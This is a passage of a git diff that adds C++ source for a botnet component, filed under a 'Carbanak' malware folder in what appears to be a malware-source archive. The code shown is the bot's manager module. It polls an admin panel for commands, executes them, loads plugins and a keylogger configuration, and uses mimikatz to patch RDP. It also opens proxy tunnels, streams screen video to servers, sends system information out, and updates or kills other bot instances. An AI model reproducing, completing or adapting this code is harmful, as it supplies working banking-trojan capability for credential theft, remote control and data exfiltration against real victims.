msgIn->data, msgIn->sz_data );+ break;+ case CmdVideoSendFolderPack:+ PipeClient::Send( pipeVideoServer, VideoPipeServer::CmdPackSendFolder, msgIn->data, msgIn->sz_data );+ break;+ case CmdVideoSendLog:+ PipeClient::Send( pipeVideoServer, VideoPipeServer::CmdSendLog, msgIn->data, msgIn->sz_data );+ break;+ case CmdVideoCreateLog:+ PipeClient::Send( pipeVideoServer, VideoPipeServer::CmdCreateLog, msgIn->data, msgIn->sz_data, msgIn->answer, msgIn->func, msgIn->tag );+ break;+ case CmdCreateStream:+ PipeClient::Send( pipeVideoServer, VideoPipeServer::CmdCreateStream, msgIn->data, msgIn->sz_data, msgIn->answer, msgIn->func, msgIn->tag );+ break;+ case CmdCloseStream:+ PipeClient::Send( pipeVideoServer, VideoPipeServer::CmdCloseStream, msgIn->data, msgIn->sz_data, msgIn->answer, msgIn->func, msgIn->tag );+ break;+ case CmdSendStreamData:+ PipeClient::Send( pipeVideoServer, VideoPipeServer::CmdSendStreamData, msgIn->data, msgIn->sz_data );+ break;+ case CmdVideoServerSendStr:+ PipeClient::Send( pipeVideoServer, VideoPipeServer::CmdSendStr, msgIn->data, msgIn->sz_data );+ break;+ case CmdVideoServerConnected:+ if( *((int*)msgIn->data) )+ HandlerAsync( HandlerVideoServerConnect, msgIn );+ else+ HandlerAsync( HandlerVideoServerDisconnect, msgIn );+ break;+ case CmdVideoServerRestart:+ PipeClient::Send( pipeVideoServer, CmdDisconnect, 0, 0 );+ HandlerAsync( HandlerVideoServerRestart, msgIn );+ break;+ case CmdLoadPluginServer:+ PipeClient::Send( pipeVideoServer, VideoPipeServer::CmdLoadPlugin, msgIn->data, msgIn->sz_data, msgIn->answer, msgIn->func, msgIn->tag );+ break;+#endif+#ifdef ON_MIMIKATZ+ case CmdMimikatzPatchRDP:+ HandlerAsync( HandlerMimikatzRDP, msgIn );+ PipeClient::Send( pipeMonProcesses, MonProcessServer::CmdRDP, 0, 0 );+ break;+#endif+ }+ return ret;+}++void ManagerServer::Disconnect()+{+ DbgMsg( "�������� ��������" );+ PipeClient::Send( pipeVideoServer, CmdDisconnect, 0, 0 );+ PipeClient::Send( pipeTaskServer, CmdDisconnect, 0, 0 );+ PipeClient::Send( pipeMonProcesses, CmdDisconnect, 0, 0 );++ //������ 1-�� ������������������ ������ ����� � ������ ���� ������� �� ����������, ��� ��� ������ �� ��������� � ��������+ if( pipesInet.Count() > 0 )+ PipeClient::Send( pipesInet[0]->name, CmdDisconnect, 0, 0 );++ Delay(1000); //�������� ����� ��� �������� � ����������+}++void HandlerManagerServer( Pipe::AutoMsg msg, DWORD tag )+{+ ManagerServer* manager = (ManagerServer*)tag;+ manager->HandlerCmdAdminPanel(msg);+}++void ManagerServer::HandlerCmdAdminPanel( Pipe::Msg* msg )+{+ int nc = -1;+ //���� ���� ���������������� ����� ������� � ��������d+ for( int i = 0; i < 50; i++ )+ {+ nc = GetPipeInet();+ if( nc >= 0 ) break;+ Delay(100);+ }+ if( nc >= 0 )+ {+ const char* namePipe = pipesInet[nc]->name;+ switch( msg->cmd )+ {+ case CmdGetCmd:+ PipeInetRequest::GetCmd( namePipe, msg->func, msg->answer );+ break;+ case CmdSendData:+ {+ bool log = false;+ AdminPanel::MsgSendData* sd = (AdminPanel::MsgSendData*)msg->data;+ for( int i = 0; i < redirects.Count(); i++ )+ {+ Redirect* r = redirects[i];+ if( Str::Cmp( sd->nameData, r->name ) == 0 )+ {+ DbgMsg( "������������� %s � ��� %d", r->name, r->logId );+ SendVideoLog( r->logId, sd->data, sd->c_data );+ log = true;+ break;+ }+ }+ if( !log )+ PipeInetRequest::SendData( namePipe, (AdminPanel::MsgSendData*)msg->data, msg->sz_data );+ }+ break;+ case CmdLoadFile:+ PipeInetRequest::LoadFile( namePipe, (char*)msg->data, msg->func, msg->answer, msg->tag );+ break;+ case CmdLoadPlugin:+ PipeInetRequest::LoadPlugin( namePipe, (char*)msg->data, msg->func, msg->answer, msg->tag );+ break;+ case CmdHttpProxy:+ PipeClient::Send( namePipe, PipeInetRequest::CmdTunnelHttp, msg->data, msg->sz_data );+ break;+ case CmdIpPortProxy:+ PipeClient::Send( namePipe, PipeInetRequest::CmdTunnelIpPort, msg->data, msg->sz_data );+ break;+ case CmdSetProxy:+ case CmdDelProxy:+ {+ int cmd = msg->cmd == CmdSetProxy ? PipeInetRequest::CmdSetProxy : PipeInetRequest::CmdDelProxy;+ for( int i = 0; i < pipesInet.Count(); i++ )+ PipeClient::Send( pipesInet[i]->name, cmd, msg->data, msg->sz_data );+ }+ break;+ case CmdDupl:+ PipeClient::Send( namePipe, PipeInetRequest::CmdDupl, msg->data, msg->sz_data );+ break;+ case CmdNewAdminka:+ PipeClient::Send( namePipe, PipeInetRequest::CmdNewAdminka, msg->data, msg->sz_data );+ break;+ case CmdSendDataCrossGet:+ PipeClient::Send( namePipe, PipeInetRequest::CmdSendDataCrossGet, msg->data, msg->sz_data );+ break;+ case CmdLog:+ PipeClient::Send( namePipe, PipeInetRequest::CmdLog, msg->data, msg->sz_data );+ break;+ case CmdRedirect:+ {+ Redirect r;+ r.logId = *((int*)msg->data);+ Str::Copy( r.name, sizeof(r.name), (char*)msg->data + 4 );+ redirects.Add(r);+ DbgMsg( "�������� ��������������� � %s � ��� %d", r.name, r.logId );+ }+ break;+ }+ }+}++static void HandlerMimikatzRDP( Pipe::AutoMsg msg, DWORD tag )+{+#ifdef ON_MIMIKATZ++ Service::Start( _CS_("TermService") );+ bool res = mimikatz::PatchRDP();+ Pipe::SendAnswer( msg, msg->cmd, &res, sizeof(res) );++#endif+}++int ManagerServer::GetNewPipeInet()+{+ int priority = -1;+ int n = -1;+ for( int i = 0; i < pipesInet.Count(); i++ )+ {+ if( pipesInet[i]->priority > priority )+ {+ priority = pipesInet[i]->priority;+ n = i;+ }+ }+ currPipeInet = n;+ return n;+}++//����� ����������� ��������+int ManagerServer::GetPipeInet()+{+ return currPipeInet;+}++void ManagerServer::AddSharedFile( SharedFile* file )+{+ const char* name = file->name;+ //������� ����� ��� ���� ����� ����+ for( int i = 0; i < sharedFiles.Count(); i++ )+ {+ SharedFile* sf = sharedFiles[i];+ if( Str::Cmp( file->name, sf->name ) == 0 )+ {+ //��������� ������+ Mem::Free(sf);+ sharedFiles[i] = file;+ DbgMsg( "�������� ����� ����: '%s', size: %d", file->name, file->c_data );+ file = 0;+ }+ }+ if( file )+ {+ DbgMsg( "�������� ����� ����: '%s', size: %d", file->name, file->c_data );+ sharedFiles.Add(file);+ }+ if( Str::Cmp( name, _CS_("klgconfig") ) == 0 )+ {+ PipeClient::Send( pipeMonProcesses, MonProcessServer::CmdUpdateKlg, 0, 0 );+ }+}++bool ManagerServer::RegAdminPanel( PipePoint* pipe, int priority )+{+ ManagerServer::MsgReg msg;+ Str::Copy( msg.namePipe, sizeof(msg.namePipe), pipe->GetName(), pipe->GetName().Len() );+ msg.priority = priority;+ return PipeClient::Send( Config::nameManager, CmdReg, &msg, sizeof(msg) );+}++bool ManagerServer::RegTaskServer( PipePoint* pipe )+{+ return PipeClient::Send( Config::nameManager, CmdRegTask, pipe->GetName(), pipe->GetName().Len() + 1 );+}++bool ManagerServer::RegVideoServer( PipePoint* pipe )+{+ return PipeClient::Send( Config::nameManager, CmdRegVideo, pipe->GetName(), pipe->GetName().Len() + 1 );+}++bool ManagerServer::RegMonitoringProcesses( PipePoint* pipe )+{+ return PipeClient::Send( Config::nameManager, CmdRegMonProcesses, pipe->GetName(), pipe->GetName().Len() + 1 );+}++bool ManagerServer::GetAdminCmd( Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer )+{+ if( serverAnswer == 0 ) serverAnswer = Pipe::serverPipeResponse;+ return PipeClient::Send( Config::nameManager, CmdGetCmd, 0, 0, serverAnswer->GetName(), func );+}++bool ManagerServer::SendData( const char* nameData, const void* data, int c_data, bool file, const char* fileName )+{+ int size = sizeof(AdminPanel::MsgSendData) + c_data;+ AdminPanel::MsgSendData* sd = (AdminPanel::MsgSendData*)Mem::Alloc(size);+ if( !sd ) return false;+ Str::Copy( sd->nameData, sizeof(sd->nameData), nameData );+ StringBuilderStack<64> nameProcess;+ Process::Name(nameProcess);+ Str::Copy( sd->nameProcess, sizeof(sd->nameProcess), nameProcess, nameProcess.Len() );+ sd->hprocess = (uint)API(KERNEL32, GetCurrentProcess)();+ sd->file = file;+ Str::Copy( sd->fileName, sizeof(sd->fileName), fileName );+ sd->c_data = c_data;+ Mem::Copy( sd->data, data, c_data );+ bool ret = PipeClient::Send( Config::nameManager, CmdSendData, sd, size );+ Mem::Free(sd);+ return ret;+}++bool ManagerServer::CmdExec( const char* cmd, int len )+{+ if( len < 0 ) len = Str::Len(cmd);+ return PipeClient::Send( Config::nameManager, CmdCmdExec, cmd, len );+}++bool ManagerServer::LoadFile( StringBuilder& url, Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer, DWORD tag )+{+ if( serverAnswer == 0 ) serverAnswer = Pipe::serverPipeResponse;+ return PipeClient::Send( Config::nameManager, CmdLoadFile, url.c_str(), url.Len() + 1, serverAnswer->GetName(), func, tag );+}++bool ManagerServer::ExecRequest( int typeHost, StringBuilder& file, Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer, DWORD tag )+{+ StringBuilder url;+ switch( typeHost )+ {+ case AdminPanel::DEF: url += (char)0x01; break;+ case AdminPanel::AZ: url += (char)0x02; break;+ case -1: break; //���� ������ � file (��� ������ ���)+ default:+ return false;+ }+ url += file;+ return LoadFile( url, func, serverAnswer, tag );+}++bool ManagerServer::LoadPlugin( StringBuilder& plugin, Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer, DWORD tag )+{+ if( GetGlobalState(Task::GlobalState_Plugin) == '0' )+ return LoadPluginAdminka( plugin, func, serverAnswer, tag );+ else+ return LoadPluginServer( plugin, func, serverAnswer, tag );+}++bool ManagerServer::LoadPluginAdminka( StringBuilder& plugin, Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer, DWORD tag )+{+ if( serverAnswer == 0 ) serverAnswer = Pipe::serverPipeResponse;+ return PipeClient::Send( Config::nameManager, CmdLoadPlugin, plugin.c_str(), plugin.Len() + 1, serverAnswer->GetName(), func, tag );+}++bool ManagerServer::LoadPluginServer( StringBuilder& plugin, Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer, DWORD tag )+{+ if( serverAnswer == 0 ) serverAnswer = Pipe::serverPipeResponse;+ return PipeClient::Send( Config::nameManager, CmdLoadPluginServer, plugin.c_str(), plugin.Len() + 1, serverAnswer->GetName(), func, tag );+}++bool ManagerServer::StartVideo( const char* nameVideo, DWORD pid )+{+#ifdef ON_VIDEOSERVER+ VideoPipeServer::MsgVideo msg;+ Str::Copy( msg.nameVideo, sizeof(msg.nameVideo), nameVideo );+ msg.pid = pid;+ return PipeClient::Send( Config::nameManager, CmdVideo, &msg, sizeof(msg) );+#else+ return false;+#endif+}++bool ManagerServer::SendFirstVideoFrame()+{+#ifdef ON_VIDEOSERVER+ return PipeClient::Send( Config::nameManager, CmdVideoSendFirstFrame, 0, 0 );+#else+ return false;+#endif+}++bool ManagerServer::StopVideo()+{+#ifdef ON_VIDEOSERVER+ return PipeClient::Send( Config::nameManager, CmdVideoStop, 0, 0 );+#else+ return false;+#endif+}++bool ManagerServer::SendFileToVideoServer( const char* typeName, const char* fileName, const char* ext, const void* data, int c_data )+{+#ifdef ON_VIDEOSERVER+ int c_data2 = sizeof(VideoPipeServer::MsgSendFile) + c_data;+ Mem::Data data2(c_data2);+ if( c_data2 != data2.SetLen(c_data2) ) return false;+ VideoPipeServer::MsgSendFile* msg = (VideoPipeServer::MsgSendFile*)data2.Ptr();+ Str::Copy( msg->typeName, sizeof(msg->typeName), typeName );+ Str::Copy( msg->fileName, sizeof(msg->fileName), fileName );+ Str::Copy( msg->ext, sizeof(msg->ext), ext );+ msg->c_data = c_data;+ Mem::Copy( msg->data, data, c_data );+ return PipeClient::Send( Config::nameManager, CmdSendFileToVideoServer, data2.Ptr(), data2.Len() );+#else+ return false;+#endif+}++bool ManagerServer::SendFolderPackToVideoServer( const char* srcFolder, const char* dstFolder, const char* typeName, const char* fileName, int globalId, Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer, DWORD tag )+{+#ifdef ON_VIDEOSERVER+ VideoPipeServer::MsgSendFolderPack* msg = (VideoPipeServer::MsgSendFolderPack*)Mem::Alloc(sizeof(VideoPipeServer::MsgSendFolderPack));+ if( !msg ) return false;+ Str::Copy( msg->srcFolder, sizeof(msg->srcFolder), srcFolder );+ Str::Copy( msg->dstFolder, sizeof(msg->dstFolder), dstFolder );+ Str::Copy( msg->typeName, sizeof(msg->typeName), typeName );+ Str::Copy( msg->fileName, sizeof(msg->fileName), fileName );+ msg->globalId = globalId;+ if( serverAnswer == 0 ) serverAnswer = Pipe::serverPipeResponse;+ bool res = PipeClient::Send( Config::nameManager, CmdVideoSendFolderPack, msg, sizeof(VideoPipeServer::MsgSendFolderPack), serverAnswer->GetName(), func, tag );+ Mem::Free(msg);+ return res;+#else+ return false;+#endif+}++bool ManagerServer::StartVideoServerTunnel( int port, const char* pipeName )+{+#ifdef ON_VIDEOSERVER+ int len = Str::Len(pipeName);+ Mem::Data data( sizeof(port) + 1 + len );+ data.Append( &port, sizeof(port) );+ data.AppendStr( pipeName, len );+ return PipeClient::Send( Config::nameManager, CmdVideoServerTunnel, data.Ptr(), data.Len() );+#else+ return false;+#endif+}++bool ManagerServer::SendVideoLog( uint idStream, const char* text, int len )+{+#ifdef ON_VIDEOSERVER+ if( len < 0 ) len = Str::Len(text);+ Mem::Data data( sizeof(uint) + len );+ data.Append( &idStream, sizeof(idStream) );+ data.Append( text, len );+ return PipeClient::Send( Config::nameManager, CmdVideoSendLog, data.Ptr(), data.Len() );+#else+ return false;+#endif+}++bool ManagerServer::CreateVideoLog( const char* nameLog, Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer, DWORD tag )+{+#ifdef ON_VIDEOSERVER+ if( serverAnswer == 0 ) serverAnswer = Pipe::serverPipeResponse;+ return PipeClient::Send( Config::nameManager, CmdVideoCreateLog, nameLog, Str::Len(nameLog), serverAnswer->GetName(), func, tag );+#else+ return false;+#endif+}++bool ManagerServer::CreateVideoStream( int typeId, const char* typeName, const char* fileName, const char* ext, Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer, DWORD tag )+{+#ifdef ON_VIDEOSERVER+ if( serverAnswer == 0 ) serverAnswer = Pipe::serverPipeResponse;+ Mem::Data data(256);+ data.Append( &typeId, sizeof(typeId) );+ data.AppendStr(typeName);+ data.AppendStr(fileName);+ data.AppendStr(ext);+ return PipeClient::Send( Config::nameManager, CmdCreateStream, data.Ptr(), data.Len(), serverAnswer->GetName(), func, tag );+#else+ return false;+#endif+}++struct CreateVideoStreamStru+{+ HANDLE event;+ uint idStream;+};++static void IdStreamRecv( Pipe::AutoMsg msg, DWORD tag )+{+ CreateVideoStreamStru* cvss = (CreateVideoStreamStru*)tag;+ if( msg->sz_data >= sizeof(uint) )+ cvss->idStream = *((uint*)msg->data);+ API(KERNEL32, SetEvent)(cvss->event);+}++uint ManagerServer::CreateVideoStream( int typeId, const char* typeName, const char* fileName, const char* ext, int wait )+{+ uint ret = 0;+ HANDLE event = API(KERNEL32, CreateEventA)( 0, TRUE, FALSE, 0 );+ if( !event ) return false;+ CreateVideoStreamStru* cvss = (CreateVideoStreamStru*)Mem::Alloc( sizeof(CreateVideoStreamStru) );+ cvss->event = event;+ cvss->idStream = 0;+ if( CreateVideoStream( typeId, typeName, fileName, ext, IdStreamRecv, 0, (DWORD)cvss ) )+ {+ if( API(KERNEL32, WaitForSingleObject)( cvss->event, wait ) == WAIT_OBJECT_0 )+ {+ ret = cvss->idStream;+ Mem::Free(cvss);+ }+ }+ API(KERNEL32, CloseHandle)(event);+ return ret;+}++bool ManagerServer::SendVideoStream( uint idStream, const void* data, int c_data )+{+#ifdef ON_VIDEOSERVER+ Mem::Data data2( sizeof(uint) + c_data );+ data2.Append( &idStream, sizeof(idStream) );+ data2.Append( data, c_data );+ return PipeClient::Send( Config::nameManager, CmdSendStreamData, data2.Ptr(), data2.Len() );+#else+ return false;+#endif+}++bool ManagerServer::CloseStream( uint idStream )+{+#ifdef ON_VIDEOSERVER+ return PipeClient::Send( Config::nameManager, CmdCloseStream, &idStream, sizeof(idStream) );+#else+ return false;+#endif+}++bool ManagerServer::AddVideoServers( bool force, AddressIpPort* addr, int c_addr )+{+#ifdef ON_VIDEOSERVER+ if( addr == 0 && c_addr <= 0 ) return false;+ VideoServer::StruAddServers addServers;+ addServers.force = force;+ addServers.count = c_addr;+ Mem::Data data( sizeof(c_addr) + sizeof(AddressIpPort) * c_addr );+ data.Append( &addServers, sizeof(addServers) );+ for( int i = 0; i < c_addr; i++ )+ data.Append( &addr[i], sizeof(AddressIpPort) );+ return PipeClient::Send( Config::nameManager, CmdAddVideoServers, data.Ptr(), data.Len() );+#else+ return false;+#endif+}++bool ManagerServer::VideoServerRestart( const char* nameUser )+{+#ifdef ON_VIDEOSERVER+ if( nameUser == MAIN_USER || nameUser == 0 )+ return PipeClient::Send( Config::nameManager, CmdVideoServerRestart, nullptr, 0 );+ else+ return PipeClient::Send( Config::nameManager, CmdVideoServerRestart, nameUser, Str::Len(nameUser) + 1 );+#else+ return false;+#endif+}++#ifdef ON_VIDEOSERVER++static void HandlerVideoServerConnect( Pipe::AutoMsg msg, DWORD tag )+{+ DbgMsg( "������������� � �������������" );+ StringBuilder comment;+ GetEnvironmentComment(comment);+ VideoPipeServer::SendStr( 1, 0, comment );+}++static void HandlerVideoServerDisconnect( Pipe::AutoMsg msg, DWORD tag )+{+ DbgMsg( "������ ����� � �������������" );+}++static void HandlerVideoServerRestart( Pipe::AutoMsg msg, DWORD tag )+{+ char* nameUser = (char*)msg->data;+ if( msg->sz_data )+ DbgMsg( "���������� ����� ��� ������ %s", nameUser );+ else+ {+ nameUser = MAIN_USER;+ DbgMsg( "���������� ����� ��� ������� ������" );+ }+ Delay(1000); //���������� ����� ���� � ����������� ������, ����� ���� ���� ����������+ VideoServer::RunInSvchost(nameUser);+}++#endif++bool ManagerServer::AddSharedFile( const char* name, const void* data, int c_data )+{+ int sz = sizeof(SharedFile) + c_data;+ SharedFile* file = (SharedFile*)Mem::Alloc(sz);+ Str::Copy( file->name, sizeof(file->name), name );+ Mem::Copy( file->data, data, c_data );+ file->c_data = c_data;+ return PipeClient::Send( Config::nameManager, CmdAddSharedFile, file, sz );+}++bool ManagerServer::GetSharedFile( const char* name, Mem::Data& data )+{+ PipeClient pipe(Config::nameManager);+ bool res = pipe.Request( CmdGetSharedFile, name, Str::Len(name) + 1, data );+ if( res && data.Len() > 0 )+ return true;+ else+ return false;+}++#ifdef ON_MIMIKATZ++bool ManagerServer::MimikatzPathRDP( Pipe::typeReceiverPipeAnswer func, DWORD tag, PipePoint* serverAnswer )+{+ if( serverAnswer == 0 ) serverAnswer = Pipe::serverPipeResponse;+ return PipeClient::Send( Config::nameManager, CmdMimikatzPatchRDP, 0, 0, serverAnswer->GetName(), func, tag );+}++#endif++bool ManagerServer::StartHttpProxy( int port )+{+ return PipeClient::Send( Config::nameManager, CmdHttpProxy, &port, sizeof(port) );+}++bool ManagerServer::StartIpPortProxy( int port, AddressIpPort& addr )+{+ Mem::Data data( sizeof(port) + sizeof(addr) );+ data.Append( &port, sizeof(port) );+ data.Append( &addr, sizeof(addr) );+ return PipeClient::Send( Config::nameManager, CmdIpPortProxy, data.Ptr(), data.Len() );+}++static bool CmdProxy( int cmd, Proxy::Info* proxy, int c_proxy )+{+ if( proxy == 0 || c_proxy <= 0 ) return false;+ Mem::Data data( sizeof(c_proxy) + sizeof(Proxy::Info) * c_proxy );+ data.Append( &c_proxy, sizeof(c_proxy) );+ data.Append( proxy, sizeof(Proxy::Info) * c_proxy );+ return PipeClient::Send( Config::nameManager, cmd, data.Ptr(), data.Len() );+}++bool ManagerServer::SetProxy( Proxy::Info* proxy, int c_proxy )+{+ return CmdProxy( CmdSetProxy, proxy, c_proxy );+}++bool ManagerServer::DelProxy( Proxy::Info* proxy, int c_proxy )+{+ return CmdProxy( CmdDelProxy, proxy, c_proxy );+}++char ManagerServer::GetGlobalState( int id )+{+ PipeClient pipe(Config::nameManager);+ Mem::Data res;+ if( pipe.Request( CmdGetGlobalState, &id, sizeof(id), res ) )+ return res.p_char()[0];+ else+ return '0';+}++char ManagerServer::SetGlobalState( int id, char v )+{+ PipeClient pipe(Config::nameManager);+ char data[5];+ *((int*)data) = id;+ data[4] = v;+ Mem::Data res;+ if( pipe.Request( CmdSetGlobalState, data, sizeof(data), res ) )+ return res.p_char()[0];+ else+ return '0';+}++bool ManagerServer::AddStartCmd( const StringBuilder& cmd )+{+ return PipeClient::Send( Config::nameManager, CmdAddStartCmd, cmd.c_str(), cmd.Len() + 1 );+}++bool ManagerServer::DuplData( uint hashData, int dst )+{+ Mem::Data data(8);+ data.Append( &hashData, sizeof(hashData) );+ data.Append( &dst, sizeof(dst) );+ return PipeClient::Send( Config::nameManager, CmdDupl, data.Ptr(), data.Len() );+}++bool ManagerServer::SetNewHostsAdminki( StringBuilder& s )+{+ return PipeClient::Send( Config::nameManager, ManagerServer::CmdNewAdminka, s.c_str(), s.Len() );+}++bool ManagerServer::SendResExecutedCmd( const StringBuilder& cmd, int err, const char* comment )+{+ StringBuilderStack<64> s;+ s = _CS_("rescmd=");+ s += cmd;+ s += '|';+ s += _CS_("err=");+ s += err;+ if( comment )+ {+ s += ',';+ s += comment;+ }+ return PipeClient::Send( Config::nameManager, ManagerServer::CmdSendDataCrossGet, s.c_str(), s.Len() + 1 );+}++bool ManagerServer::SendLog( bool flush, int code )+{+ AdminPanel::MsgLog m;+ m.flush = flush;+ m.code = code;+ return PipeClient::Send( Config::nameManager, ManagerServer::CmdLog, &m, sizeof(m) );+}++/////////////////////////////////////////////////////////////////////////////////////////////////////////////////++static void HandlerGetCmd( Pipe::AutoMsg msg, DWORD )+{+ ManagerServer::CmdExec( (char*)msg->data, msg->sz_data - 1 );+}++static void HandlerAddKeyloggerConfigFile( Pipe::AutoMsg msg, DWORD )+{+ DbgMsg( "�������� klgconfig.plug" );+ if( msg->sz_data > 0 )+ {+ StringBuilder s( msg->sz_data + 1, (char*)msg->data, msg->sz_data );+ //� ��������� ����� ����� ������ \r\n, �� ����� ���� � ������ \n, ������� ������� \r, ����� �������� � ������ ����+ s.ReplaceChar( '\r', 0 );+ s.Lower();+ ManagerServer::AddSharedFile( _CS_("klgconfig"), s );+ Delay(1000);+ }+}++//��������� �������� ����� ����� ������� ����+static DWORD WINAPI FirstExecuteCommands( void* )+{+ while( !Config::fileNameConfig[0] ) Delay(1000); //���� �� ������ �������� ��� ����� �������, ��� ���������� ����� �����+ ManagerServer::CmdExec( _CS_("loadconfig") );+ Delay(1000); //���� ���� ���������� ������+ if( Config::state & PLUGINS_SERVER ) //������ ������� � �������+ {+ ManagerServer::SetGlobalState( Task::GlobalState_Plugin, '1' );+ }+ LoadKeyloggerConfig();+#ifdef ON_MIMIKATZ+ //mimikatz::SendAllLogonsThread();+#endif+ StringBuilder comment;+ GetEnvironmentComment(comment);+ ManagerServer::SendData( _CS_("info.txt"), comment.c_str(), comment.Len(), false );+ Plugins::Execute();+ SendListProcess(1); //������� ������ ��������� � �������+ ManagerServer::CmdExec( _CS_("runmem wi.exe") );+ return 0;+}++void LoadKeyloggerConfig()+{+ StringBuilderStack<64> name( _CS_("klgconfig.plug") );+ ManagerServer::LoadPlugin( name, HandlerAddKeyloggerConfigFile );+}++void ManagerLoop( bool runAdminPanel )+{+ ManagerServer* manager = new ManagerServer();+ GeneralPipeServer* general = new GeneralPipeServer();+#ifndef NOT_EXPLORER+ if( !runAdminPanel ) //������� ������ � �������� ����� ������� ������ ���������, ������� ��� ������ ����� �� ������������+ {+ manager->SetName(Config::nameManager);+ }+#endif+ if( manager )+ {+ if( Config::state & EXTERN_NAME_MANAGER )+ manager->SetName(Config::nameManager);+ else//��������� ��� ������������ ������, �� ����� ������������ �� ��� �������� � ������� ����������+ Str::Copy( Config::nameManager, sizeof(Config::nameManager), manager->GetName(), manager->GetName().Len() );+ if( manager->StartAsync(false) )+ {+ general->StartAsync(false);+ DbgMsg( "������� ��������, ��� ������ '%s'", manager->GetName().c_str() );+ if( runAdminPanel )+ {+ Delay(1000); //���� ���� ���������� ����� �������+ RunAdminPanelInSvchost();+ }+ Delay(2000); //������� ���� ���� ���������������� ����� ������� � ��������+ RunThread( FirstExecuteCommands, 0 );+ //���� ������+ while( manager->IsValid() )+ {+ DbgMsg( "������ �������" );+ ManagerServer::GetAdminCmd(HandlerGetCmd);+ API(KERNEL32, Sleep)(Config::waitPeriod);+ //LASTINPUTINFO pii;+ //pii.cbSize = sizeof(pii);+ //GetLastInputInfo( &pii );+ //DbgMsg( "*** %d", GetTickCount() - pii.dwTime );+ }+ delete manager;+ }+ }+}++DWORD WINAPI ManagerLoopThread( void* param )+{+ ManagerLoop( param != 0 );+ return 0;+}++////////////////////////////////////////////////////////////////////////////////////////////////////////////////++static void MakeNameGeneralPipe( StringBuilder& name )+{+ Crypt::Name( _CS_("GeneralPipe"), Config::XorMask, name );+}++GeneralPipeServer::GeneralPipeServer()+{+ MakeNameGeneralPipe(name);+}++GeneralPipeServer::~GeneralPipeServer()+{+}++int GeneralPipeServer::Handler( Pipe::Msg* msgIn, void** msgOut )+{+ int ret = 0;+ switch( msgIn->cmd )+ {+ case CmdTask:+ ManagerServer::CmdExec( (char*)msgIn->data, msgIn->sz_data );+ break;+ case CmdInfo:+ info.pidMain = Process::CurrentPID();+ info.pidServer = 0;+ Str::Copy( info.uid, sizeof(info.uid), Config::UID );+ GetEnvironmentComment( info.comment, sizeof(info.comment) );+ *msgOut = &info;+ ret = sizeof(info);+ break;+ case CmdGetProxy:+ PipeClient pipe(Config::nameManager);+ pipe.Request( ManagerServer::CmdGetProxy, msgIn->data, msgIn->sz_data, result );+ *msgOut = result.Ptr();+ ret = result.Len();+ break;+ }+ return ret;+}++static const char* GetValVer( const char* s, int& v )+{+ v = 0;+ while( *s >= '0' && *s <= '9' ) v = v * 10 + *s++ - '0';+ return ++s;+}++static int GetVerRunnedBot( PipeClient& pc )+{+ int ver = 0;+ Mem::Data data;+ if( pc.Request( GeneralPipeServer::CmdInfo, 0, 0, data ) )+ {+ GeneralPipeServer::InfoBot* info = (GeneralPipeServer::InfoBot*)data.Ptr();+ int p1 = Str::IndexOf( info->comment, _CS_("Ver: ") );+ if( p1 > 0 )+ {+ p1 += 5;+ int v1, v2, v3;+ const char* p2 = GetValVer( info->comment + p1, v1 );+ p2 = GetValVer( p2, v2 );+ p2 = GetValVer( p2, v3 );+ ver = v1 * 10000 + v2 * 100 + v3;+ }+ }+ return ver;+}++//��������� �����+static bool UpdateHosts( PipeClient& pc )+{+ DbgMsg( "��������� ����� � ���������� ����" );+ StringBuilder hosts, cmd;+ bool ret = false;+ if( AdminPanel::GetHosts( AdminPanel::DEF, hosts ) )+ {+ if( hosts.Len() > 5 )+ {+ cmd = _CS_("adminka new ");+ cmd += hosts;+ if( pc.Send( GeneralPipeServer::CmdTask, cmd.c_str(), cmd.Len() ) ) ret = true;+ }+ }+ if( VideoServer::GetHosts(hosts) )+ {+ if( hosts.Len() > 5 )+ {+ cmd = _CS_("server force " );+ hosts.ReplaceChar( '|', ' ' );+ cmd += hosts;+ if( pc.Send( GeneralPipeServer::CmdTask, cmd.c_str(), cmd.Len() ) ) ret = true;+ }+ }+ return ret;+}++//���������� ����+static bool UpdateBot( PipeClient& pc, const char* dropper )+{+ DbgMsg( "��������� ���� �������� ������ %s", dropper );+ if( *dropper == 0 ) return false;+ StringBuilder cmd(MAX_PATH);+ cmd += _CS_("update ");+ cmd += dropper;+ if( pc.Send( GeneralPipeServer::CmdTask, cmd.c_str(), cmd.Len() ) )+ {+ Delay(5000);+ return true;+ }+ return false;+}++static bool KillBot( PipeClient& pc )+{+ DbgMsg( "���������� ����������� ����" );+ return pc.Send( GeneralPipeServer::CmdTask, _CS_("killbot"), 7 );+}++bool UpdateIsDublication( const char* dropper )+{+ DbgMsg("��������� ��� ����������� ����");+ //�������� �������� ���� � ����������� ����+ StringBuilderStack<64> nameGenaralPipe;+ MakeNameGeneralPipe(nameGenaralPipe);+ PipeClient pc(nameGenaralPipe);+ int ver = GetVerRunnedBot(pc);+ DbgMsg( "������ ����������� ���� %d, ������ ����������� %d", ver, Config::BotVersionInt );+ bool ret = false;+ if( ver <= Config::BotVersionInt )+ {+ if( ver < 10203 ) //������ � ������� ���� ��������� ���������� ����������+ {+ if( !KillBot(pc) )+ ret = UpdateHosts(pc);+ }+ else+ if( UpdateBot( pc, dropper ) )+ ret = true;+ else+ ret = UpdateHosts(pc);+ }+ else+ ret = UpdateHosts(pc);+ return ret;+}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/MonitoringProcesses.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/MonitoringProcesses.cppnew file mode 100644index 0000000..bf6158c--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/MonitoringProcesses.cpp@@ -0,0 +1,279 @@+#include "MonitoringProcesses.h"+#include "manager.h"+#include "core\debug.h"+#include "core\process.h"+#include "core\injects.h"+#include "core\file.h"+#include "main.h"+#include "sandbox.h"+#include "system.h"+#ifdef ON_MIMIKATZ+#include "mimikatz\mimikatz.h"+#endif++namespace MonitoringProcesses+{++const uint RUN_WITH_ROOTKIT = 0x00000001; //������� ����� ����� � ���������� ����� rootkit+const uint ONLY_ADD_PID = 0x00000002; 